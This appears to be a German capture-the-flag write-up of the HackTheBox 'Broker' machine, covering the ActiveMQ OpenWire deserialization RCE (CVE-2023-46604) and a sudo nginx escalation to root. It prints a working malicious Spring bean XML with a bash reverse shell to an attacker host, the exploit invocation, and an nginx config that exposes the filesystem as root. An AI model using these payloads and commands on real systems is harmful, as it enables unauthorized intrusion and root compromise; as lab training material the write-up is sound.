// HackTheBox
Broker
CVE-2023-46604 (ActiveMQ OpenWire RCE) → GTFOBins nginx sudo rule → beliebiges Lesen von root-eigenen Dateien
Aufklärung
Ein nmap-Scan der Top-1000-Ports fand nur zwei Ports: 22/ssh und 80/http. Der
Web-Port antwortet mit einem 401 Unauthorized und dem Header
WWW-Authenticate: basic realm="ActiveMQRealm" — das ist die Web-Konsole von Apache
ActiveMQ, geschützt durch HTTP Basic Auth. Eine gesperrte Konsole ohne Zugangsdaten
wirkt wie eine Sackgasse, also besteht der nächste Schritt in einem vollständigen
Port-Sweep (nmap -p-), um zu sehen, was ActiveMQ sonst noch preisgibt. ActiveMQ
ist ein Message-Broker, der mehrere Wire-Protokolle auf jeweils eigenen Ports spricht,
und die sind meist deutlich schlechter geschützt als die Web-Oberfläche:
| Port | Dienst |
|---|---|
| 22 | SSH |
| 80 | HTTP — 401, ActiveMQ-Webkonsole (per Credentials abgesichert) |
| 1883 | MQTT |
| 5672 | AMQP |
| 8161 | Webkonsole (dieselbe wie :80 über nginx-Proxy) |
| 61613/61614 | STOMP/WS |
| 61616 | OpenWire — unauthentifiziert, RCE-relevant |
Port 61616 ist der entscheidende. OpenWire ist das native binäre Messaging-Protokoll von ActiveMQ, und es nimmt Verbindungen ohne jede Authentifizierung an, obwohl die Web-Konsole einen Login verlangt. Ein unauthentifizierter OpenWire-Endpunkt auf einem ActiveMQ, das dem Patch von 2023 vorausgeht, ist genau die Konstellation für CVE-2023-46604 — der Faden, an dem man zieht.
Erstzugang — CVE-2023-46604 (ActiveMQ OpenWire RCE)
CVE-2023-46604 ist eine Schwachstelle zur entfernten Codeausführung in der Art und
Weise, wie ActiveMQ OpenWire-Nachrichten deserialisiert. Der OpenWire-Marshaller
erlaubt es einem vom Client gelieferten EXCEPTION_RESPONSE-Befehl, jede beliebige
Klasse im Klassenpfad des Brokers zu benennen und vom Broker instanziieren zu lassen,
wobei ein vom Angreifer kontrollierter String an deren Konstruktor übergeben wird. Die
für den Exploit gewählte Klasse ist
org.springframework.context.support.ClassPathXmlApplicationContext — eine
Spring-Hilfsklasse, deren Konstruktor eine URL entgegennimmt, von dort eine
Spring-Bean-Definitionsdatei (XML) lädt und die darin beschriebenen Beans initialisiert.
Da eine Bean-Definition jede beliebige Klasse und jeden Konstruktor bzw. jede
Init-Methode benennen kann, wird aus “instanziiere eine Klasse per Name” ein “führe
aus, was das entfernte XML mir vorgibt.”
1. Das bösartige Spring-Bean-XML erstellen
Die Payload-Bean ruft java.lang.ProcessBuilder auf und markiert start als
Init-Methode, sodass Spring den Prozess ausführt, sobald die Bean erzeugt wird. Der
Befehl ist eine Bash-Reverse-Shell zurück zum Angreifer auf Port 4444. Dies wird als
exploit/webroot/poc.xml gespeichert:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/<LHOST>/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
2. Das XML über HTTP bereitstellen
Der Broker muss poc.xml abrufen können, also wird ein einfacher HTTP-Server in dem
Verzeichnis gestartet, das die Datei enthält. Rubys eingebauter Einzeiler genügt:
$ ruby -run -e httpd . -p 8000
3. Das OpenWire-Paket abfeuern
exploit/exploit.py (aus dem öffentlichen PoC-Repo evkl1d/CVE-2023-46604) baut das
rohe binäre OpenWire-Paket von Hand zusammen: ein Längen-Präfix, das Typ-Byte 0x1f
(EXCEPTION_RESPONSE), dann der Zielklassenname und die XML-URL, kodiert als
längen-präfixierte Strings. Es öffnet einen nackten TCP-Socket zu 61616/tcp und
sendet die Bytes direkt — ohne ActiveMQ-Client-Bibliothek und ohne Authentifizierung:
$ python3 exploit.py <TARGET> 61616 http://<LHOST>:8000/poc.xml
4. Die Shell abfangen
Der Broker parst das Paket, instanziiert ClassPathXmlApplicationContext, holt
poc.xml per HTTP von unserem Server und lädt die ProcessBuilder-Bean — was die
Reverse-Shell auslöst. Ein nc -lvnp 4444-Listener fängt sie als der Dienstbenutzer
activemq auf. Das Versions-Banner bestätigt, warum es funktioniert hat: die
Installation ist /opt/apache-activemq-5.15.15, und der verwundbare Bereich für diesen
Zweig ist alles unterhalb von 5.15.16.
Rechteausweitung — GTFOBins nginx sudo rule → beliebiges Lesen von root-eigenen Dateien
Das Erste, was man als neuer Benutzer prüft, ist sudo -l, das auflistet, was der
Benutzer über sudo ausführen darf. Hier liefert es:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq darf das nginx-Binary als root ohne Passwort ausführen. nginx ist kein
offensichtliches “Hacking-Werkzeug”, aber GTFOBins (ein Katalog dafür, wie sich
gewöhnliche Binaries missbrauchen lassen, um aus einem eingeschränkten Kontext
auszubrechen) dokumentiert genau dafür eine Technik. nginx akzeptiert eine beliebige
Konfigurationsdatei über -c, und eine Konfiguration mit root /; plus
autoindex on; lässt nginx das gesamte Dateisystem ausliefern; das Aktivieren der
WebDAV-PUT-Methode (dav_methods PUT;) macht diesen Baum zusätzlich beschreibbar. Da
sudo nginx als root ausführt, arbeitet der Worker-Prozess — und jede Datei, die er
liest oder schreibt — mit den Rechten von root.
1. Die bösartige nginx-Konfiguration schreiben
user root;
worker_processes 1;
pid /tmp/nginx_evil.pid;
events { worker_connections 1024; }
http {
server {
listen 8443;
root /;
autoindex on;
dav_methods PUT;
}
}
2. Sie auf das Ziel bringen und nginx als root starten
Die Konfiguration wird über denselben ruby -run -e httpd-Server bereitgestellt, der
zuvor benutzt wurde, mit curl heruntergeladen und dann wird nginx über sudo dagegen
gestartet:
$ curl http://<LHOST>:8000/evil.conf -o /tmp/evil.conf
$ sudo /usr/sbin/nginx -c /tmp/evil.conf
3. Root-eigene Dateien über HTTP lesen
Mit root / und autoindex on legt bereits ein einfaches GET an den neuen
Listener das gesamte Dateisystem als root offen — für dieses Ziel muss das
PUT-Schreib-Primitiv nicht einmal genutzt werden. Ein Abruf des Flag-Pfads liefert
ihn direkt:
$ curl http://10.129.230.87:8443/root/root.txt
Das gab root.txt zurück. (Die PUT-Methode würde zusätzlich beliebige
root-eigene Schreibvorgänge erlauben — das Ablegen eines SSH-Schlüssels in
/root/.ssh/authorized_keys oder eines Jobs in /etc/cron.d für eine vollständige
interaktive Root-Shell — aber ein Lesevorgang war hier ausreichend, also war das nicht
nötig.)
Erkenntnisse
- OpenWire (61616) ist standardmäßig unauthentifiziert, selbst wenn die Webkonsole (80/8161) per Credentials abgesichert ist — prüfe die anderen Protokoll-Ports von ActiveMQ (OpenWire, STOMP, MQTT, AMQP) stets unabhängig vom Auth-Zustand der HTTP-Konsole.
- CVE-2023-46604 benötigt keine kompilierte Payload-Klasse (anders als die JNDI/LDAP-Kette von Log4Shell) — es ist ein rohes, gebautes OpenWire-Paket, das auf eine remote Spring-XML-Bean-Definition zeigt; deutlich geringerer Tooling-Aufwand (nur ein Python-Socket-Skript und ein HTTP-Server).
- Bei GTFOBins dokumentierte sudo-Escapes lohnen sich, routinemäßig für jedes Binary
mit einem nackten
NOPASSWD-sudo-Eintrag zu prüfen, selbst bei solchen, die nicht offensichtlich gefährlich wirken — nginx ist kein „Hacking-Tool”, aber eine benutzerdefinierte-c-Konfiguration verwandelt es in einen beliebigen root-privilegierten Datei-Server/-Schreiber. - Sobald ein solcher Server mit
root /undautoindex onläuft, überkonstruiere die Rechteausweitung nicht — ein einfaches GET kann genügen, wenn das Ziel das Lesen einer bestimmten Datei ist; PUT ist nur für Schreibvorgänge nötig (Persistenz, cron, SSH-Keys, sudoers).